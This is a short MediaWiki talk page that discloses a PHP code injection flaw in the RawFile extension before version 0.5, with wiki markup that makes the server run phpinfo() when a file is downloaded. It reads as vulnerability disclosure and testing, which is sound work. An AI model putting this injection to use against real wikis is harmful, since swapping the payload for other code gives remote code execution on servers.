Talk:Mediawiki RawFile
Revision as of 15:54, 13 February 2014 by <bdi>PhilippeTeuwen</bdi> (talk | contribs)
Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:
{${phpinfo()}}
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash
echo 'Hello world!'
exit 0
</source>
and trying to download myscript.sh will execute phpinfo() on the server.